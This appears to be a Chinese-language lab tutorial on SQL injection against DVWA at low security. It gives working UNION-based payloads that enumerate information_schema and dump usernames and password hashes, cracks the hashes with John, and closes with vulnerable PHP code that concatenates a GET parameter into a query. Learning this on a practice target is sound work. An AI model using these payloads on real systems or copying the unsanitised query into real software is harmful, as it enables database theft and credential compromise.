当前位置: 代码迷 >> 综合 >> sql注入——DVWA(low)
  详细解决方案

sql注入——DVWA(low)

热度:75   发布时间:2023-12-12 11:11:19.0

在这里插入图片描述
USER ID 这里只要输入数字,服务器存在的就会给我们返回,如果不存在就不输出任何信息;细心点我们会发现,我们虽然在界面submit,但提交都会在URL显示,很明显这是一种GET方法;
先来说一下sql注入的原理;
假设一下,我们在登陆的时候会提交用户名和密码;而这个密码是存在数据库里的;这就说明了web application已经为我们准备好了查询数据库的语句;先假设是

select * from users where USER='admin' AND PASSWORD='admin'
//只要用户提交了正确的用户名和密码,那么就会带入到这个查询语句中查找是否存在对应的条目;那么sql注入的情况就是数据库没有对用户提交的数据进行过滤产生的;因为服务器端提前将参数放到了两个单引号里面,只要提交参数进单引号里就可以进行提交;
看下面一种情况;
select * from users where USER='aaaa' AND PASSWORD=' ' or '1'='1'
用户乱输入了账号,密码部分先打一个单引号,在输入or '1'='1 ,注意后面的1的后面没有单引号,因为服务器后面还有一个单引号我们需要闭合;那么这样放进数据库一匹配肯定是用户不存在,但是!or 1=1这是逻辑正确的呀,或运算有一真必为真,那么就会返回登陆成功的界面!

以上是简单的讲一下原理;下面实验一下:

基于报错的检测方式

在这里插入图片描述
我们输入一个单引号’ 服务器端无法解析。提示语法错误,后面有五个单引号,我们输入了一个,由此可见可能(这里只是猜测)有两对单引号" “这样的闭合,中间让我们输入这个id数,多出了一个无法解析;很明显如果输入两个就不会出错,因为数据库认为你什么都没有输入;如果存在这样的情况一定存在sql注入漏洞;再看一次例子:
在这里插入图片描述
我输入了a’b’ (url蓝色部分);但是报错信息只是 ‘b’’’ ;因为前面的a已经闭合了;后面的b无法找到闭合点(我们前面认为的” " 这样的组合放在这里又不成立,所以我们前面的猜测肯定的是不对,但是现在可以知道a前面有且仅有一个’,又根据报错信息。那么一定是 ’ ’ "这样的组合;验证猜想输入 a’ 'b结果正确)

基于布尔的检测方式

在这里插入图片描述
我们输入如上的指令;出来的信息让我们可以猜测服务器准备的查询语句可能
select First name, Surname from users where id = ’ ’ ‘’
那么我们之前输入进入的内容就是:
select First name, Surname from users where id = ’ 1’ and ‘1’=‘1’ ‘’
很明显,and前后都是一个正确的逻辑,所以输出正确;就是我们直接输入一个1,输出是一样的;
那么我们构造其中一方是假呢?我们输入(1’ and ‘1’ =‘2)构造如下的语句
select First name, Surname from users where id = ’ 1’ and ‘1’=‘2’ ‘’
结果是什么都不执行,由此可以判断服务器按照我的逻辑输出了我想要的东西;所以一定存在sql注入漏洞;

通过排序判断查询语句

我们刚刚猜测其查询语句可能是:
select First name, Surname from users where id = ’ ’ ‘’
那么我们可以用order by命令来查询是否是我们猜的那样;
注意:order by是用来排序一个表中的字段数,如果查询的是 * 那么就是排序整个表的字段数;如果是指定的就不是排序这个表的所有字段数哦。
我们提交 (’ order by 6-- )后面是空格;这里要说明一下我们输入的是命令不是参数所以丢在数据库中是这样的:
select First name, Surname from users where id = ’ ’ order by 6-- ’ ‘’
后面的杠杆空是注释,不注释后面三个单引号是出错的;然后如下图,数据库不认识,说明肯定不是6啦;(注释在url里是–+)
我最后得出的信息是order by 2是正确的,界面没有报错;

在这里插入图片描述
由此我们可以越来越接近查询语句的真面目了:
select First name, Surname from users where id = ’ ’ ‘’ 这个猜测仅剩下users(表)不确定了;

联合查询

在这里插入图片描述
输入以上指令,确定了First name就是这个表中的第一个字段;Surname是第二个字段;我们利用一些数据库的函数进行查询,如下:
在这里插入图片描述
我们利用user()函数查询当前数据库的用户;version()看数据库版本,database()看当前数据库名:
在这里插入图片描述
在这里插入图片描述
前面的函数都是数据库层面的函数;还有一些全局函数我们也可以进行查询;比如@@datadir @@hostname @@VERSION @@version_compile_os
在这里插入图片描述
由于显示限制,且又是GET方法;我们直接利用url在传梯就好;这里用了浏览器的小插件hackbar:
在这里插入图片描述
有时候sql语句被过滤我们也可以通过char()函数来尝试绕过,就是ascll码转字符;
在这里插入图片描述
如上我们仅有2个字段的坑位,一次次查太麻烦,为了提高效率我们可以把所有要查询的组合成一串字符串输出:使用连接字符串函数;(char那个是指定字符分隔符,看不懂查一下ascll表)
在这里插入图片描述
当然也可以让有sql漏洞的服务器帮我们做一些计算工作,比如计算哈希值:
在这里插入图片描述

了解mysql数据结构

mysql下有一个information_schema库,里面存放着描述着数据库数据的数据,就是我们说的META元数据。我们要想了解数据库中有哪些库,哪些表,哪些字段直接去查这个就OK。

查询所有库所有表----------------:' union select table_name,table_schema from information_schema.tables--+# 发现爆出了所有数据库和各个数据库下的所有的表,看起来比较乱;

在这里插入图片描述

 计算库中有多少个表---------------:'union select table_schema,count(*) FROM information_Schema.tables group by table_schema --+# 这个就会比较精简一点,6个库和库下有的表的数量。当前模块是dvwa库知道有2个表

在这里插入图片描述

查询dvwa这个库下的表----------------:' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+# 查到库下有guestbook和users两个表;

在这里插入图片描述

查询dvwa下users表的所有字段(column):
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
# (user_id、first_name、last_name、user、password、avatar)爆出了5个字段

在这里插入图片描述

查询字段的内容---------------:user和password
'union select user,password from dvwa.users--+
' union select null, concat(user,0x3a,password) from users--+
# 上面语句等效,爆出了dvwa库下5个账号和密码,密码是某种hash加密方式

在这里插入图片描述
我们可以在kali下通过工具hash-identifier来识别一下具体是何种hash值:
在这里插入图片描述
不用想啦是MD5啦;下面简单介绍一种解密工具(MD5是不可逆,能解密说明网路上存有对应明文);我们以如下格式保存文件,输入如下命令;完成之后对应.john/目录下有解密文件和日志;这样5个账号和密码就会被爆出来啦!
在这里插入图片描述

最后附录上源代码(low)

<?php    if(isset($_GET['Submit'])){// Retrieve data$id = $_GET['id'];$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );$num = mysql_numrows($result);$i = 0;while ($i < $num) {$first = mysql_result($result,$i,"first_name");$last = mysql_result($result,$i,"last_name");      echo '<pre>';echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;echo '</pre>';$i++;}
}
?>

之后还会继续更新相关的内容